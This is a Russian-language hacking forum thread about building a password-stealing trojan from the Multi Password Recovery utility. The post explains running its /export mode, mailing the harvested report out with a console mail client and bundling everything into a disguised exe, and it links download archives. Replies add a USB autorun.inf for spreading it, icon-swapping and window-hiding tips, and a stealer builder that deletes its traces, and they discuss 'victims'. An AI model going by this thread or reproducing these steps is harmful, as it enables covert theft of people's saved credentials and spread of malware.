Делаем троян с отправкой на почту из Multi Password Recovery

Все мы знаем про такую программу, как Multi Password Recovery - мощный инструмент для локального восстановления паролей от разных программ, сохраненных в системе. Проблема его использования, как троянца была в этой локальности. Но есть способ, пускай, сырой и не доработанный, но есть.

Нету версии этой утилиты без графического интерфейса, но есть возможность запуска с ключом /export. При запуске в таком режиме программа открывается, генерирует файл отчета в текущую папку и закрывается. А консольный клиент, в свою очередь отправляет на мыло сгенерированный файл.

Софт, который понадобится:
Multi Password Recovery Portable - крякнутая портативная версия утилиты
Blat - консольный почтовый клиент с простым интерфейсом управления
Bat to Exe Converter - конвертер bat-файлов в exe с дополнительным функционалом.

Собственно, все дело в этом батнике и конвертере. При создании финального exe-файла в один файл можно помещать несколько других, указывая параметры распаковки. Подробно все описывается в видео-инструкции. Все необходимые файлы лежат в архиве.
Код батника:

Hidden Content:

**Hidden Content: To see this hidden content your post count must be 10 or greater.**

Где LOGIN - имя пользователя, а PASSWORD - пароль учетной записи на почтовом сервере, с которго будет производиться отправка. В данном примере письмо отправляется на ящек отправителя, то есть само себе. Это работает, отчеты приходят исправно.

Скачать все необходимые файлы:

Код:

http://www.sendspace.com/file/j3ujv7
http://www.2shared.com/file/tt_GJGVi/Mpr_trojan.html
http://www.mediafire.com/?4xcsf3z7uivti1q

Посмотреть видео-инструкцию: http://www.youtube.com/watch?v=NrhG9WDyzP0

Этот способ, как я уже говорил, сырой и нуждается в доработке. К примеру хорошо было бы уменьшить размер сборки, убрать
графический интерфейс mpr, осуществить отправку на фтп. Все это возможно, все в ваших руках)

(с)onthar, копирование на другие ресурсы запрещено.​

 

Flanker напомнил про возможность автозапуска со съемных флеш-накопителей.
Для автоматического запуска нужно в корне устройства создать файл autorun.inf с содержанием:

Код:

[AutoRun]
shellexecute=MPR.exe /export
Action=MPR
Label=<имя флешки>

если файл mpr.exe так же находится в корне.

 

и не забудь про скрытие окна программы
на делфи вышло на 1.14 мб

 

Человек с ником Dave подсказал такой вариант:

 

можно ли как-то изменить значек получившего-ся ехе файла, а то много програм перепробовал, нечего не получилось(

 

В Bat to Exe Converter при сборке - вторая вкладка. Нужно только указать путь до иконки.

 

У когото есть иконка MPR???

 

Код:

http://zalil.ru/30207414

На будущее воспользуйтесь программой Icons from File

 

Это просто фантастика господа ,респект
Любопытно но с виртуальной семерки мне ничего не пришло , возможно из за того ,что что там и собирать то нечего а может на вирнуальной машине просто не работает,хм( virtual box)


Хм.. и всетаки, кто тестил на 7- ке просьба отписаться

 

Красавчик666,
mpr требует административных прав

 

У меня 7 работает чудесно, так что проблема не в windows

 

Ох ,понятно спасибо.
Еще один момент который я бы хотел заметить,
MPR из вашей сборки должен быть чистым,нельзя его открывать на вашей машине иначе вам будут приходить ваши же пароли ,проверено

 

кэп?

 

Stealer (MPR) Builder

ну что ж, попало в мои руки и получилось следующая штука:

Stealer (MPR) Builder



Особенности:

• очень прост в настройке
• размер MPR уменьшен с 3,25 МБ по 2,78 МБ, выкинуто все ненужное
• не использует консольный почтовый клиент blat
• дропает нужные файлы в windows/web, после отправки файла на e-mail удаляет их
• более-менее скрытый от хитрых школоло-глазок e-mail и пароль
  (

  [+] чем плох в этом плане билд BatToExeConverter

  
  [свернуть]

  )
• в mpr.ini параметр last_upd_check всегда равен времени запуска билда, что исключает возможность ненужной проверки обновления
• возможность выбора иконки для создаваемого билда

Скачать можно в этой теме

 

Смотрю давно здесь небыло никого или я только появился, но все конечно супер!
Все отлично работает, но вот с флешки автозапуском чего то ни как не идет.
В чем может быть проблема?

И ещё вопрос парни, а в автозапуск каким каком можно это настроить?!

И ещё, у меня нет возможности просмотреть ссылку на скачь Stealer (MPR) Builder, -киньте ссылку!

 

возможно у жертвы отключена функция автозапуска

вот этого что, мало?

скажу как автор - я не хочу чтобы она поспешно побежала по супер-турбо-хак-форумам, поэтому и такой хайд. врядли кто-то за просто так тебе на нее ссылку даст, увы)

 

chimatii - Я понял на счет форумов и даже согласен!
Кстати, я сам сторонник тайных заговоров как у массонов=) и не люблю, когда это становится достоянием большенства.
Более того, даже просто объясню почему, - я имею прямые руки и в голове извилины и друзья за дурака не держат, но не владею тайной магией программирования, только на пути осознания, но уже знаю точно, что, хоть всё гениальное на выходе просто, это рождается зачастую в "муках" и бессонных ночах! Поэтому этот труд понятен, а посему лично мною уважаем как факт! Вот поэтому я не из тех кто орет на каждом углу, что я тут достал "панацею", ведь не я это делал и конечно я c тобою абсолютно согласен!
Всему свое время, терпения, мозгов и чуть везения!

Кстати, спасибо за ответ на счет авторана, я понял!

 

файл должен называться autorun.inf, проверь у себя - у меня опечатка была.

 

(.)(.) | |*) and no comments!

ps/ В нужном месте нужный сайт, - приятные люди!




Я вот об autorun.inf!
Знаю, что некоторые, те кто беспокоятся за здоровье своей флешки, например, на уровне наших знакомых
делают такую процедуру, - создают фал *.bat


attrib -s -h -r autorun.*
del autorun.*
mkdir "\\?\%~d0\autorun.inf\name..\"
attrib +s +h %~d0\autorun.inf

который делает что, - он принудительно удаляет все вкрапленные аутораны и
создаёт скрытую папку папку autorun.inf! Она удалению не подлежит и не заменяется, разве что посредством опять того же батника, а отсюда, её и новым нужным аутораном подменить не возможно!
Нет, если форматнуть флешку, то да, она конечно уничтожится, но мы прекрасно понимаем, что это не всегда представляется возможным, особенно, если её обладатель в непосредственной близости!

У меня вопрос!
Каким образом, возможно ли замутить так, чтобы вкрапить таким же способом autorun.inf, но только свой, нужный нам!?
Смысл его прост, Вы уже поняли, - его владельцу, не зная тонкостей, - не удалить!

 

А я вообще поставил
Иконка тут

Единственное, что наверное не у всех стоит Каспер!